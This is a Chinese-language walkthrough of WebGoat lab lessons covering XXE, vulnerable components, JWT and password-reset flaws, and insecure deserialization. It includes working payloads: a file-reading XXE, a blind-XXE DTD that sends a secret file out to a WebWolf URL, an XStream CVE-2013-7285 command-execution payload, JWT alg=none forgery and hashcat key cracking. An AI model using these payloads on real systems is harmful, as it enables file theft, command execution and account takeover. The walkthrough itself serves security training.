webgoat通关过程系列(三)
字数 1301 2025-08-18 11:36:53

WebGoat通关教学:安全配置与身份认证漏洞

(A5) 安全配置错误

1. XXE漏洞利用

1-4关:基础XXE注入

  • 目标:通过XXE获取服务器的root目录
  • 方法
    <?xml version="1.0"?>
    <!DOCTYPE author [
      <!ENTITY ls SYSTEM "file:///">
    ]>
    <comment>
      <text>&ls;</text>
    </comment>
    
  • 关键点:使用file://协议读取服务器文件系统

1-7关:JSON格式的XXE

  • 目标:在JSON格式请求中实现XXE注入
  • 方法
    1. 修改请求的Content-Type为application/xml
    2. 使用与1-4关相同的XML payload
  • 关键点:当后端未严格限制请求格式时,可通过修改Content-Type绕过

1-11关:XXE盲注

  • 目标:通过XXE盲注获取服务器文件内容
  • 步骤
    1. 在WebWolf上传DTD文件(attack1.dtd):
      <?xml version="1.0" encoding="UTF-8"?>
      <!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-2023.8/XXE/admintest/secret.txt">
      <!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:9090/WebWolf/landing?text=%file;'>">
      
    2. 注入触发DTD的XML:
      <?xml version="1.0"?>
      <!DOCTYPE author [
        <!ENTITY % ls SYSTEM "http://127.0.0.1:9090/WebWolf/files/admintest/attack1.dtd">
        %ls;
        %print;
        %send;
      ]>
      <comment>
        <text>aaaaa</text>
      </comment>
      
    3. 在WebWolf查看URL编码的结果并解码
  • 关键点:利用外部实体将文件内容通过HTTP请求外带

(A6) 漏洞组件

1. 漏洞组件利用

1-5关:组件版本漏洞

  • 目标:展示不同版本组件的安全问题
  • 方法:直接点击完成

1-12关:CVE-2013-7285远程命令执行

  • payload
    <contact class='dynamic-proxy'>
      <interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>
      <handler class='java.beans.EventHandler'>
        <target class='java.lang.ProcessBuilder'>
          <command>
            <string>pwd</string>
          </command>
        </target>
        <action>start</action>
      </handler>
    </contact>
    
  • 关键点:利用Java反序列化漏洞执行系统命令

(A7) 身份认证失败

1. 认证绕过

1-2关:安全问题绕过

  • 方法:修改安全问题参数名
    • secQuestion0secQuestion1改为secQuestion3secQuestion4

2. 不安全登录

2-2关:解密登录凭证

  • 步骤
    1. 点击登录按钮捕获返回的JS代码
    2. 解码其中的16进制字符串
    3. 提取用户名和密码(数组的0和1位置)

3. JWT令牌漏洞

3-4关:JWT解码

  • 方法:直接解码JWT获取用户名

3-6关:JWT权限提升

  • 步骤
    1. 解码JWT发现admin字段为false
    2. 修改alg为none绕过签名验证
    3. 保持JWT格式正确(第三部分为空但保留分隔符点)

3-11关:JWT密钥爆破

  • 方法
    hashcat -a 0 -m 16500 jwtstring wordlist
    
  • 结果:密钥为"shipping"

3-13关:JWT身份伪造

  • 方法
    1. 修改当前token的用户为tom
    2. 或修改日志中tom的token有效期
    3. 使用alg=none绕过签名或爆破密钥

4. 密码重置漏洞

4-2关:基础密码重置

  • 方法:在忘记密码页面填入账户,WebWolf接收重置链接

4-4关:安全问题爆破

  • 方法:爆破简单的密保问题(如颜色)

4-6关:他人密码重置

  • 步骤
    1. 拦截密码重置请求
    2. 修改Host头为127.0.0.1:9090使邮件发往WebWolf
    3. 在WebWolf中获取token

5. 安全密码

5-4关:设置强密码

  • 方法:设置足够复杂的密码

(A8) 软件与数据完整性

1. 不安全反序列化

1-5关:反序列化漏洞

  • 关键点:反序列化VulnerableTaskHolder类,只能执行sleep和ping命令
  • 方法:生成特定的序列化字符串

(A9) 安全日志失败

1. 日志安全问题

1-2关:简单认证绕过

  • 方法:直接输入admin

1-4关:日志中的敏感信息

  • 方法:检查服务启动日志寻找管理员初始密码
WebGoat通关教学:安全配置与身份认证漏洞 (A5) 安全配置错误 1. XXE漏洞利用 1-4关:基础XXE注入 目标 :通过XXE获取服务器的root目录 方法 : 关键点 :使用 file:// 协议读取服务器文件系统 1-7关:JSON格式的XXE 目标 :在JSON格式请求中实现XXE注入 方法 : 修改请求的Content-Type为 application/xml 使用与1-4关相同的XML payload 关键点 :当后端未严格限制请求格式时,可通过修改Content-Type绕过 1-11关:XXE盲注 目标 :通过XXE盲注获取服务器文件内容 步骤 : 在WebWolf上传DTD文件(attack1.dtd): 注入触发DTD的XML: 在WebWolf查看URL编码的结果并解码 关键点 :利用外部实体将文件内容通过HTTP请求外带 (A6) 漏洞组件 1. 漏洞组件利用 1-5关:组件版本漏洞 目标 :展示不同版本组件的安全问题 方法 :直接点击完成 1-12关:CVE-2013-7285远程命令执行 payload : 关键点 :利用Java反序列化漏洞执行系统命令 (A7) 身份认证失败 1. 认证绕过 1-2关:安全问题绕过 方法 :修改安全问题参数名 将 secQuestion0 和 secQuestion1 改为 secQuestion3 和 secQuestion4 2. 不安全登录 2-2关:解密登录凭证 步骤 : 点击登录按钮捕获返回的JS代码 解码其中的16进制字符串 提取用户名和密码(数组的0和1位置) 3. JWT令牌漏洞 3-4关:JWT解码 方法 :直接解码JWT获取用户名 3-6关:JWT权限提升 步骤 : 解码JWT发现admin字段为false 修改alg为none绕过签名验证 保持JWT格式正确(第三部分为空但保留分隔符点) 3-11关:JWT密钥爆破 方法 : 结果 :密钥为"shipping" 3-13关:JWT身份伪造 方法 : 修改当前token的用户为tom 或修改日志中tom的token有效期 使用alg=none绕过签名或爆破密钥 4. 密码重置漏洞 4-2关:基础密码重置 方法 :在忘记密码页面填入账户,WebWolf接收重置链接 4-4关:安全问题爆破 方法 :爆破简单的密保问题(如颜色) 4-6关:他人密码重置 步骤 : 拦截密码重置请求 修改Host头为 127.0.0.1:9090 使邮件发往WebWolf 在WebWolf中获取token 5. 安全密码 5-4关:设置强密码 方法 :设置足够复杂的密码 (A8) 软件与数据完整性 1. 不安全反序列化 1-5关:反序列化漏洞 关键点 :反序列化 VulnerableTaskHolder 类,只能执行sleep和ping命令 方法 :生成特定的序列化字符串 (A9) 安全日志失败 1. 日志安全问题 1-2关:简单认证绕过 方法 :直接输入admin 1-4关:日志中的敏感信息 方法 :检查服务启动日志寻找管理员初始密码